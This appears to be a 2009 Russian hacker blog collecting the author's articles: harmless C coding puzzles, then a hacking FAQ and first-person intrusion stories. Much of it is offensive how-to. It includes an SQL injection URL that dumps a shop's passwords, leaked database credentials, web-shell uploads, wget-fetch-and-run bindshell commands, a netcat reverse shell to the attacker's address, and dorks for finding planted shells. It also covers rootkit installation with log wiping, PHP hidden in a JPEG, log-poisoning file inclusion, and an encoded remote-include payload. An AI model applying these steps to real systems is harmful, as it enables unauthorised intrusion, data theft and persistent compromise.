Показаны сообщения с ярлыком Статьи. Показать все сообщения
Показаны сообщения с ярлыком Статьи. Показать все сообщения

Кодерские хаки

[stranger@localhost ~]$ date
Сбт Дек 5 00:23:09 MSK 2009

[stranger@localhost ~]$ cat /home/stranger/h3kcode.txt
Ну для начала стоит определиться что такое «хаки».
В моем понимании это какие то нестандартные, красивые, оригинальные решение, которые явно отличаются от других. В общем что то умное и не ординарное. Собственно в этой статье я приведу пример нескольких хаков на тему кодинг. Вообще зачем они нужны? По моему главная причина это так называемый brainfuke, который является любимый занятием любого хакера/кодера. Ну и вторая причина читать данный материал – повышение уровня знания языка. Кстати примеры будут на Си.
Ну что ж. Теперь, когда я заполнил выделенную память введением, можно начинать fuke.


---[h3k 01] ---
//Очень маленькое тело
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.

Думаю ясно что 4 символами такую программу не написать (а может можно?)). Нам нужно куда то вынести этот код:

int i=0;
while(i[10)
{
printf(%i,rand(1000));
}

Но не забываем, что функции создавать нельзя. Но с помощью макроподстановок в дириктиве #define можно выполнить этот код. Смотрим:

#include [stdio.h]
#define RND int i=0,g=random(100); while(i[10){printf("%d",g);printf("\n");i++;}

int main()
{
RND;
}

Ну вот.) получилась программа из трех букв xdd
На самом деле макроподстановка довольно удобная вещь. К примеру показ баннера вашей программы. Достаточно написать

#define banner printf(«Powed by StraNger»);

И не нужно пихать код в отдельную функцию

---[h3k 02] ---
//Цикл без цикла
Давайте попробуем сделать такой трюк – нужно написать программу которая бы перебирала указанные числа по порядку и каждое новое число сумировало с предыдущим.
Но главная задача в том, что бы не использовать при этом операторы циклов.

Для начала давайте прикинем какой код будет если мы внедрим цикл(для 10 раз):

- - -
int i=0, stat=5;
while(i[10)
{
stat=stat+(stat-1);
i++;
}
- - -

Теперь нужно избавится от цикла. Конечно, можно было бы выполнять 10 раз схожий код, но это как минимум глупо. Давайте лучше вспомним, что такое оператор goto. Как известно от служит для “прыжка” программы к какой либо метке. Ну например:

- - -
if(a]0)
goto error;
else
//Тут какие то действия
errot:
printf(“OH!\n”);
- - -

Если а>0 то программа перескочит к метке error и выполнит код, который мы в ней написали.
А что нам мешает таким образом организовать цикличные действия. С помощью двух меток и двух goto. Смотрим:

#include [stdio.h]
int main()
{
int i=2,stat=0;
//Первая ссылка
one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto tho;
}
else
printf("The end, i=%d",i);

}
}

Когда программа доходит до первой ссылки она проверяет переменную stat. Если она еще меньше 10, то нужно выполнять вычисления (как очередной шаг цикла) и увеличивать счетчик. Далее происходит переход ко второй метке , там выполяется точно такая же проверка.
Внимательный читатель заметит, что программу можно значительно уменьшить.
Вот так:

#include [stdio.h]
int main()
{
int i=2,stat=0;

one:
if(stat[10)
{
i=i+(i-1);
stat++;
goto one;
}
else
printf("The end, i=%d",i);
}

Как видите мы попросту выполнили переход к этой же метке.
goto самый ненавистный си оператор.
Эдсгера Дейкстры сказал: “качество программного кода обратно пропорционально количеству операторов GOTO в нём"
Действительно код становится мене понятным. Но как видите иногда его можно применить весьма оригинальным способом.
На самом деле, это не единственный способ организовать “цикл без цикла”
Если вызывать функцию рекурсивной, а в ней проверять значение счетчика получится примерно тоже самое. Вот так:

int step();
int i;
int main()
{
step();
}

int step()
{
if(i[10)
{
i++;
step();
}
else
printf("%i",i);
}



---[h3k 03] ---
//Обманутый strcmp
В этом хаке мы попытаемся обмануть функцию strcmp. Как надеюсь вы знаете он сравнивает две строки, нам же нужно что бы эти строки были не равны между собой, а функция определило противное.

На самом деле тут ничего сложного. Давайте посмотрим как например строка fukeworld располагается в памяти:
f a k e w o r l d\0
нас интересует именно конечный символ \0 он указывает на окончание строки.
Теперь вспомним, как работает strcmp. Она сравнивает две строки посимвольно до символа окончания строки (\0). Вы наверное поняли к чему я веду. Если нет смотрим пример:

#include [stdio.h]
int main(int argc, char argv[])
{
int integ;
char *w1="fuke\0world";
char *w2="fake";
integ=strcmp(w1,w2);
printf("%i\n",integ);
}

Здесь мы так скажем принудительно указали конец строки, используя символ \0. Если отсечь часть после него, то получатся как раз равные строки.
Если вы протестируете пример, то программа должна вывести на дисплей цифру 0. Это результат выполнения функции strcmp, значит строки равны.

Ну а если сделать так:

char *w1="\0fuke world";
то все будут думать, что строка пуста.

---[h3k 04] ---
//forever... oh no!
Представим себе вот такой код:

#include [stdio.h]
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Как видите здесь запускается бесконечный цикл. В нем на экран выводится слово forever.
Хак заключается в том, что бы изменить программу таким образом, что наш цикл через какое то время останавливался и не был бесконечным. При том нельзя писать какие то операторы перед циклом (и в нем соответственно), нельзя создавать функции.

Здесь нам на помощь приходит опять #define. Нужно задать какую то константу, которая бы изменила работу цикла. В теле используется только printf, значит ее и нужно подставить в define:


#include [stdio.h]
#define printf continue;
int main(int argc, char argv[])
{
int i=1;
for(i=1;i]0;i++)
{
printf("forever");
}
}

Попробуйте запустить и вы уведите, что цикл не бесконечный. Точнее он не будет выполняться вообще.

---[h3k 05] ---
//10 способов создать бесконечный цикл.
С первого взгляда кажется способов выполнения действия бесконечное число раз не так уж и много. Но на самом деле это не так. Посидев 5 минут с блокнотом я нашел 10 способов (откинув однотипные решения), хотя думаю что можно найти их гораздо больше


***************
1) while(true) {}
***************


**************
2)for (;;) {}
**************


**************
3)
int i;
for (i=0;i]0;i++) {}
**************


**************
4)
int i=1;
while(i]0)
{i++}
**************


**************
5)
repeat:
printf("h");
goto repeat;
**************


**************
6)
int i;
repeat:
i=0;
while(i[1)
{
goto repeat;
i++;}
*************


*************
7)
while(1==1)
{}
*************


*************
8)
while("")
{}
*************


*************
9)
int i;
rock:
do
{
goto rock;
i++;
}
while(i[10); //самое интересное, что тут условие вообще будет игнорироваться
************


************
10)
int i;

for(i=0;i[10;i++)
{
if(i[10)
i--;
}
************
---[h3k 06] ---

//без условия.
Хак заключается в следующем – нужно написать программа которая бы принимало какое то число аргументов. В каждом аргументе находится один символ, программе нужно найти среди них нужный (пусть будет 'w'). При том – нельзя пользоваться условными конструкциями (кроме условия И ИЛИ).

Для сравнения строк будет использовать функцию strcmp(). При полном совпадении она возвращает ноль. Проблема как раз в том, как проверить результат функции.
Смотрим код:


#include [stdio.h]

int main(int argc, char *argv[])
{
int i;
for(i=0;i[argc;i++)
{
(strcmp(argv[i],"w")!=0) || printf("Нужная буква в(во) %i аргументе\n",i+1);
}
}

Происходит примерно так:
значение функции strcmp не равно нулю или (равно нулю) мы нашли нужный символ. Как видите несложно.
Первый хак заключается в том, что бы написать программу, которая выводила 10 раз подряд рандомные (псевдослучайные) числа. Но. Тело функции main() не должно превышать 4 символов. При том – нельзя писать доп. Функции, нельзя инклудить какие либо файлы кроме stdio.h.

EOF
StraNger

h3k FAQ

Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)

Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:

[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html

Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:

[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html

Кстати в php есть одноименная функция для изменения времени доступа к файлу:

int touch (string filename [, int time [, int atime]])

Например:



Этот код меняет время модификации файла $filename на текущее время.

Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:

#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}



q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)

Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:


[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск


Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:



НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:




q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:


standard in must be a tty


В чем проблема?

Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:


tty: not a tty


Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.


q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?

Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.


q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?

Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:


PHPKonsole PHPShell filetype:php -echo


Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:


intitle:c99shell filetype:php


c99shell шелл.
Думаю суть запросов ясен.


q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?

Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:


[stranger@localhost ~]$last -n 15



q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:

[stranger@localhost ~] which gcc


Терминал выдал вот это:


/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)


Что делать?

Решение: 

Если кто не понял, то выше приведённая надпись указывает на то, что отсутствует компилятор gcc. В идеале она команда должна была показать нам путь до компилятора.
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF


StraNger aka reaL StraNger

Основы хакерства

Опубликовал уже 5 урок основ хакерства.
Вроде все довольны - новички довольно, шура доволен.
Думаю тут их выложить, а то на портале оформление косячило.
Хм... а ведь когда то сам читал статьи владухи и наверное даже и не мечтал, что когда то буду продолжителем его дела.. ы =D
HackZona - Территория Взлома

Статьи, которые я когда либо писал. 
Многие из них писал давно, так что уровень может страдать.


Кодерские хаки
Вооруженный пингвин. Компактный софт для боевых действий.
h3k FAQ
Perl. Лучший друг хакера.
Пять раз - hack
Story. Полночный взлом
Баги в исходных кодах. Part 2
Баги в исходных кодах
Основы *NIX кодинга. Часть 1.
Клиент сервер на основе WinSock
Шалим в реестре.
Полезности в delphi или FAQ дельфиста.


©StraNger

Пять раз - hack

INTRO

Привет читатель! Я продолжаю радовать (или огорчать) тебя своими сумасшедшими статьями. Сегодня меня накрыла муза. И я решил писать.
Название данного материала 5 раз – hack. О чем она?
Ниже я приведу 5 интересных случаев взлома. Потом проанализирую их.
Ну и начнем…

BODY

Предновогодний дамп && Печальная истории шопа. Hack №1
Предыстория
На улице была зима. Дело шло к Новому Году. Как раз перед каникулами я загрипповал и как водится, остался дома.
Потягивая чай с малиновым вареньем я серфил просторы Интернета, даже не задумываясь о том, что меня ждет дальше. Вскоре я наткнулся на онлайн шоп.
Там продавалось всякое барахло, вроде бейсболки с айподом или наушников со встроенным прибором для измерения пульса.
Делать было нечего, все знакомые из сети разошлись по школам и институтам, поэтому я решил протестировать сайт на безопасность.

Hack.
Reverse IP показало, что на сервер находится только этот ресурс
Не обнаружив в подвале сайта никаких надписей о версии и наименовании движка я обратил свой взгляд на исходник страницы.
После беглого осмотра кода стало ясно, что двиг самописный. Ну что ж так даже интереснее. Немного потыкав параметры я ничего не обнаружил. Скрипт тупо перенаправлял мена на главную страницу.
Но кто ищет тот найдет. Неприметная кнопочка, для вывода информации об изготовители товара, передавала не фильтруемое значение:


www.tatshop.us/oldproducts.php?category=iron&id=32'




www.tatshop.us/oldproducts.php?category=iron&id=32'+uninon+select+1,2,3,unhex(hex(password)),5,6,7,8,unhex(hex(usernam)),10,11+from+usershop+limit+1,1/*

Хеш пассворда и логин были у меня в руках. Понадеявшись на фортуну я попробовал сбрутить хеш с помощью онлайн сервисов. К счастью админ оказался не слишком «продупленным» и пароль был несложным: 12041980. Похоже дата рождения
Осталось найти админ панель и дело в шляпе.
Только вот стандартные /admin и /administrator не прокатывали. Тогда я заглянул в поисковик:



site:www.tatshop.us admin


И удача! Первая ссылка ввела в админку.



www.tatshop.us/structure/admin


banny: 12041980


Оказавшись хозяином сайта я стал прощупывать CMS на возможность выполнение кода.

В разделе «настройки» была возможность добавлять товары и заливать картинки. Чем я и воспользовался, залив r57shell.
Тут я понял, что мне придется изрядно постараться, что бы найти его. Минут пятнадцать побрутив директории я таки наткнулся на скрипт:


www.tatshop.us/structure/products/usrjoin.php
(usrjoin.php – веб шелл)


Тут же выполнив команду "id"я получил вот такие сведения:


uid=11187(oldstas) gid=11187 (oldstas) groups=11187 (oldstas)


Можно было попробовать залить нормальный шелл, но я не стал торопиться.
Погуляв по доступным директориям, я нашел интересным файл:
configmysql.php
Содержание было довольно обширным, но меня привлекла вот эта часть:


$host = "localhost" ;
$username = "banny" ;
$password = "80190412" ;

Попробовав подключиться к базе, мне дали пинка.
Тогда, найдя бажный скрипт, я внимательно осмотрел его.
И нашел строку:







Пройдя по пути:

/home/oldstas/www/includ/

И открыв файл db.php
Я обнаружил заветную цель.


define("HOST", "localhost");
define("USER", " oldstas");
define("PASS", "3r3o4i");
define("DB", " oldstas _cards");



Дальше все было просто, как два байта передать. Я подключился и зделал дапм базы.

Послесловие.
Как видите, безопасность сайта опять подвела иньекция. К тому же в админ панели было несложно залить шелл. Так что администрация крупно облажалась. Так вот, стоит ли ставить самописные двиги на такие проекты? Думаю если бы стоял паблик движок, то взлом затянулся бы подольше. Хотя это тоже могло и упростить дело.

Мыло стоит рута && ода о паролях. Hack №2

Предисловие.
Было около 11 часов вечера. Вернувшись, домой после вечерней прогулки я первым делом проверил почту, прикидывая в голове план на очередную бессонную ночь. Неплохо было бы пополнить свою коллекцию шелл аккаунтов.
Допросив гугл я нашел парочку .us сайтов. Выбрав один я стал осматривать содержимое.

Hack.
Ничего особенного кажется новостной портал или что то вроде того.
Погуляв по сайту я наткнулся на мыло rabel@newnews.us

Вызвав консоль, я запустил полуоткрытое сканирование портов:



$nmap –v –sS www.newnews.us

21 open
22 open
25 open
110 open



Пробив 21 порт netcat –ом я убедился, что там висел свеженький ProFTP

Вернувшись на сайт, я нашел почтовый сервис. Там присутствовала функция восстановления пароля, но это не катило. Мне нужен был сам пароль. Похоже, выходом из данной ситуации был только брут.
Порывшись в архивах я нашел perl скрипт. Пристыковав к нему весомую базу паролей, я запустил брутофорс.
Скрипт закончил работу на следующее утро. Пароль был довольно простым:
13 05 33 26
Поковыряв почтовый ящик я не обнаружил там ничего интересного.
Тогда я решил реализовать старую задумку – попробовать войти на ftpс помощью пароля от мыла:


$ftp
$>open 234.32.54.17
User rabel
Passwd

И как ни странно у меня получилось
Создав простенький phpскрипт примерно такого содержания:




Я залил его в корневую директорию сайта:



$cd /www
$send /home/stranger/tmp.php



И выполнил


www.newnews.us/tmp.php



Теперь можно бы попробовать подключиться к серверу:



$nc 234.32.54.17 2370


У меня был полноценный шелл.

Пробив командой id свои права, я увидел вот это:



uid=234(robel) gid=234(robel) group=234(robel) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023

Но команда
$uname –a
Совсем меня не порадовала
На серванте крутилась последняя (на тот момент) пропатченое ядро linux
Уже собравшись плюнуть на это дело я проверил запущенные процессы.
Меня заинтересовал демон Postfix. Я вспомнил, что сканирование показало открытый 25 порт сервера.

А известно, что в Postfix для открытие 25 порта нужны рутовые привилегии. Так что есть возможность поднять свои права.
Проверив версию демона я был приятно удивлен. В паблике меня уже дожидался, сплоит, который давал рута. Посмотреть можно здесь.



$sh sploit.sh



Все. Осталось только установить руткит.
Залив wget –ом LRK5 я запустил его в теневом режиме:



$make shadow install



Затерев логи я вышел из системы.

Послесловие.

Как видишь, всего лишь одно взломанное мыло стоило администрации очень дорого. Думаю, не стоило светить электронный адрес на сайте.

Да и за обновление ПО следить нужно повнимательней. Думаю если бы Postfix был обновлен я бы не смог получить рут.

Как развлекаются скрипт-кидди && Мой первый взлом. Hack №3

Предыстория.

Начитавшись статей про крутые взломы, мне жутко захотелось сделать что то подобное.

Изучив phpincludebug, я начал пытать google.

Hack


inurl:"php" and "page="



Пропарсив несколько ссылок я обнаружил инклуд. Жалко, что не удаленный, но читать файлы было возможно:



www.target.com/view.php?page=car.php&id=1
www.target.com/view.php?page=../../../etc/passwd&id=1

Теперь можно было попробовать найти конфиг apache и сконструировав специальный заголовок выполнить php код.

Перепробовав несколько путей я нашел верный:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&id=1



Далее, с помощью firefox плагина LiveHTTPHeaders я записал в поле User-Agent такой код:




И вызвал скрипт:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&cmd=ls



На что тот выплюнул содержимое текущей директории.

Но из-за своей неопытности я так и не смог ничего сделать, кроме как задефейсить главную страницу.

А что вы хотели? Первый взлом.=)

Послесловие.

Как видите, я, не имея практически никакого опыта, смог задефейсить сайт. И все из-за банального инклуда. Конечно если бы тогда у меня было побольше опыта и знаний последствия могли бы быть гораздо серьезнее.

Почему нужно знать php. Hack №4

Предыстория.

Однажды утром мой хороший сетевой друг попросил проверить один сайт, т.к. у него были давние счеты с админом. Знакомый этот меня часто выручал, поэтому я решился взяться за это.

Hack.

Первое что бросилось в глаза это подпись в подвале сайта:

Powerby CamanCMS

Помучив гугл мне стало ясно, что это бесплатный двиг. Причем про уязвимости в нем не говорилось ни слова.

Но была реальная возможность поискать дыры самому в исходном коде.

Скачав CMS и поставив ее на localhost, я принялся за изучение.

Скажу, что поиск дыр занял около часа, за это время я наткнулся только на пассивную xss.

Но вскоре удача повернулась ко мне приличным местом, вот в этом участке кода:


If(isset($getinfo)
{preg_replace("/345/e",$_GET['name'],$_GET['date']);}
else

{print “Information not found
”}
Об этой уязвимости я читал в статье Elekt –a.
Суть в том, что использование модификатора –e в регулярном выражении может вести к выполнению произвольного кода во втором параметре. Скажу что бага ну ОЧЕНЬ редкая. У меня были сомнения насчет нее. Но на целевом сайте выглядело так:
Код:

www.jonniget.ru/find.php?name=CODE&


Теперь нужно было получить нормальный доступ к серверу, т.к. другу этого было достаточно.
Скачав и запустив на сервер биндшелл я попробовал подлючиться. Но вопреки моим ожиданием коннекта не было. Похоже, фаервол резал все входящие подключения.
Но была вероятность, что он неправильно настроен, т.е. возможно провести бэкконнект.
Не долго думая я выполнил такую команду (у себя в консоли)
Код:

netcat -l -p 4444


А на целевом сервере:



nc -v 43.23.234.32 4444 -e /bin/sh &

Где 43.23.234.32 – мой адрес
Через некоторое время произошло подключение.

Больше мне и не нужно было. Написав небольшую записку о реализации уязвимости, я отправил ее своему знакомому по e-mail

Послесловие.

Ну что сказать. Создатели сайта использовали бесплатную CMS. Не скажу, что это плохо, но как видно ошибки все-таки нашлись. Я даже был несколько удивлен тому, что их оказалось немного. Несомненно, плюс администрации за файрвол, который блокировал мой бинд шелл. Но опять же он был неправильно настроен, что и позволило мне проникнуть на сервер.

После взлома && По другую сторону баррикад. Hack №5
Предыстория
Около 2 месяцев назад мне нужно было исследовать одну «живую» взломанную систему.
Сейчас я и расскажу об этом.

Hack…. или не hack?
В общем, система была свеженькая, не перезагруженная. Так сказать труп был еще теплым =(/)
Нужно было очень хорошо подумать. Ведь система могла быть протроянена.
Поэтому я решил сначала протестировать взломанную Ось на наличие руткитов, а потом проанализировать лог файлы. Если такие сохранились.

В качестве клинера я выбрал chkrootkit
Скачав и распаковав архив я уже хотел приступить к компиляции, но вспомнил что я redhat системе. Поэтому пришлось кое-что подредактировать в исходниках (манны кстати здорово помогли):



chklastlog.c

#define LASTLOG_FILENAME "/var/adm/lastlog"
On
#define LASTLOG_FILENAME "/var/log/lastlog"


#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"


chkwtmp.c
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"

Далее компиляция была произведена без последствий.

Запуск:

$./chkrootkit


Но программа так ничего и не обнаружила. Похоже, система была чиста.

Тогда возможно остались лог файлы, поэтому я пошел помучить syslog.
Но и тут все было в порядке. Странно. Может админы нас нае*бли?

Но вот что интересно. Пробежавшись по временным файлам, я обнаружил один, который меня заинтересовал. Похоже, он относился к логклинеру vanish.
Но ваниш прога порядочная. Все файлы после себя подтирает. Единственное что пришло мне в голову это то, что взломщик аварийно прекратил работу программы. Тогда бы временные файлы остались.

После некоторых раздумий я решил проверить логи апача.

Веб контент был скудный, одни HTML (по словам администрации), стоял еще форум, но он был пропатчен. Так что взлом через веб зону был исключен. Но проверить не помешает.

В логах было обнаружена вот такая картина (вырезка):


r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115)
.chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105).chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))


Использование сплоита на лицо. Но как вы понимаете неудачно. Айпишник тоже засветился. Но, скорее всего это прокси.

Вот и все что удалось раскопать. А взлом был произведен из-за не пропатченого демона ftp

Далее я просто скинул админу на мыло результат работы.

Послесловие.
Ну что тут сказать. В первых хакера подвела работа логвайпера. Т.е. по сути, он сам себя подвел. Да и потом использование этого сомнительного сплоита. И следы в логах апача. Похоже, работал новичок.



OUTRO.

Ну вот. Я постарался выбрать 5 разных случаев взлома. Надеюсь, этот материал поможет зазевавшимся админам в их работе. Взломы есть и будут. Вопрос только во времени.

Удачи!

die «Вся информация выложена только для ознакомление, автор не несет ответственности за использование материала в личных целях»

Наверняка вы найдёте в статье ошибки. Буду очень рад если они будут указаны в комментариях.

StraNger aka reaL StraNger

Story. Полночный взлом

или вступление.
Салют, читатель! Вот сидел сейчас и думал: какую же все-таки статью лучше написать и пришла мне в голову идея написать
"статью-рассказ". То есть наполовину художественный наполовину технический. В общем смотрите что получилось.


BODY.
Горящие часы на скринсейвере показывали 12:10.
Макс скучал.
В сети почти не кого не было. Лениво просматривая новостную ленту секлаба он уже собирался выключать компьютер,
но тут в онлайн вышел его хороший знакомый – kerny.

С ним он познакомился довольно давно. Когда то они состояли в одной тиме, которая впоследствии распалась.

Решив немного поболтать, Макс написал ему. Поговорив на отвлеченные темы, kerny кинул Максиму ссылку на один сайт -
englishrussia.com, отправив при этом несколько ругательств в сторону его создателей.
Пробежавшись по контенту, стало понятно, что смысловая нагрузка ресурса направлена на антироссийскую политику.
Автор активно «обсирал» все, что касается России.
Не сказать, что Макс был патриотом, но было обидно наблюдать, как его родину обливают грязью.
Мысль тут же мелькнула в его голове:

«а почему бы не…»

Написав об этом kerny, Максим узнал что тот тоже об этом думал. Но на сайте стоял WordPress 2.7.1, а толковых сплоитов
под него не было. Делать было нечего, а спать не хотелось, поэтому Макс решил копнуть глубже и посмотреть этот ресурс
под более сильным зумом. ... Несмотря на отрытое окно в комнате было жарко. Сходив за газировкой Максим начал изучение
сайта. Воспользовавшись инструментов madnet –a «Google madnet Scaner», он просканировал ресурс. Скрипт определил, что
на сервере находится еще один сайт - pixdaus.com.
Он представлял из себя что-то вроде хостинга для фотографий.

«Угу, тут то можно найти дыру, для начала стоит поискать админку»

Сразу проверив адреса ...

www.pixdaus.com/admin
www.pixdaus.com/admin.php

...Макса ждало разочарование — «Ошибка 404», страниц не существовало.
Тогда он попробовал найти админ-панель через Google:

site: pixdaus.com admin.

К сожалению и это не помогло.
Но беглый осмотр движка дал свои плоды.
После обращения к адресу:


index.php?fun=66'&from=favourites

Сайт выдавал кучу непонятной информации. Макс обрадовался, предвкушая «легкую скулю» но как выяснилось он ошибся. К sql инъекциям
это отношение не имело. Сервер похоже выплевывал http заголовки входящего и еще кое-что непонятное.Вот кусок того, что увидел Максим: HTTP_USER_AGENT=Mozilla/5.0 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072807 ASPLinux/3.0.1-1.0.140asp
FirefHTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

«Возможно здесь есть место xss»

Открыв плагин «LiveHTTPHeaders», Макс изменил заголовок.
Он ввел в поле HTTP_USER_AGENTнебольшой скрипт:

HTTP_USER_AGENT: [script]alert(/fuke in/)[/script]

В ответ на это он увидел сообщение с текстом «/fukein/»

«Такс... уже кое-что, но с такой xss мало что реализуешь»

Поизучав еще немного те данные, которые выплюнул сервер, взломщик обнаружил интересную фичу:

.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=site:www.asu.ru admin

«Это ведь тот запрос, который я отдавал в гугл! Может удастся получить активку?»

Улыбнувшись, Макс вбил в Google такой запрос

site: pixdaus.com document [script]alert(/fuke in/)[/script]

Но результат был нулевым.
Поисковик не мог найти на сайте все содержимое запроса.

«Значит нужно кое-что урезать»

Немного помозговав, Максим сделал так:

site:www.asu.ru document -[script]alert(/fuke in/)[/script]"

Зайдя по одной из ссылок, он вернулся к странице с уязвимостью.
Обновив, ее он увидел знакомое сообщение.

«Ну что ж, активная xss уже неплохо, но оставим это на крайний случай».

Погуляв по страницам сайта, Макс нашел форму для регистрации.
Создав новый аккаунт, взломщик заметил, что есть возможность заливать фотографии на сервер.
«Хм… а что если возможно выполнить php код?»

Записав в файл небольшой скрипт, Максим переименовал его так:

photo.php.jpg

Но смена расширение не дала результатов.
Макс хотел уже оставить идею с картинкой, но решил попробовать еще один способ.
Открыв картинку в программе WinHex и перейдя в конец файла, он нашел значения «FF D9» и затер их нулями. После этого он вставил
свой php код в конец файла в формате ascii. А значения FF D9 добавил после кода.

«Ну что ж попробуем»

Загрузив фотографию, Макс был приятно удивлен. Код в jpg картинке работал.

... Откинувшись на спинку кресла, Максим закрыл глаза ладонями.
Он всегда так делал после наряженной работы.

«Пора что-нибудь поесть и отдохнуть заодно»

Резко встав с кресла, Макс отправился на кухню.
Кот сидевший рядом тут же рванул за ним, надеясь что хозяин поделится с ним.

Пока кипел чайник, Максим сделал себе бутерброд с сыром, дав кусочек коту.

Последнее время жизнь складывалась не лучшим образом. Все друзья и знакомые отворачивались от него. Хотя нет… У него были друзья,

но только в сети. Только их он считал настоящими друзьями.
Один институтский товарищ как-то сказал ему:

«Со своими компьютерами ты когда-нибудь до суицида доиграешься»

Максим не принимал эти слова всерьез… или просто не хотел принимать.
С каждым днем он все глубже и глубже погружался в виртуальный мир.
Забывая при этом реальный. Последние 4 месяца Макс редко выходил из квартиры…. Если выходил, то только купить пачку чая и
-нибудь полуфабрикат. «Ладно, хватит. Завтра схожу в парк, прогуляюсь» - подумал он, прогоняя тревожные мысли.

В этот момент чайник пикнул, информируя о том, что вода вскипела.
Максим распечатал пачку зеленого чая и насыпал заварку в кружку.
Он страдал гипертонией, и врачи рекомендовали пить зеленый чай для нормализации давления.
Прихватив бутерброд, Макс отправился в свою комнату. На экране уже появился скринсейвер с горящими часами. Они показывали 12:59.
За окном слышались гогот пьяной молодежи.

«Бля, им обязательно бухать около моего дома?»

Дожевывая бутерброд, Максим нажал пару раз на Enter, избавляясь от заставки.

... Включив своего любимого «Карандаша» он подумал:

«Итак, у нас есть возможность выполнять php код, теперь стоит залить биндшелл на сервер, для более удобной работы»

Открыв картинку еще раз Макс дописал такой код:

[? system (‘cd /tmp; wget http://stanger.hr/bind.pl;chmod 755 bind.pl; perl bind.pl ‘);?]

Это должно было загрузить и запустить bindshell на Perl.
Запустив консоль, Максим набрал:

nc 66.90.103.79 21656/>

И скрестив пальцы, стал ждать. Была опасность, что файрвол будет резать подключения и придется делать бэкконнект. Но к счастью
подключение произошло удачно. У Макса был шелл доступ.
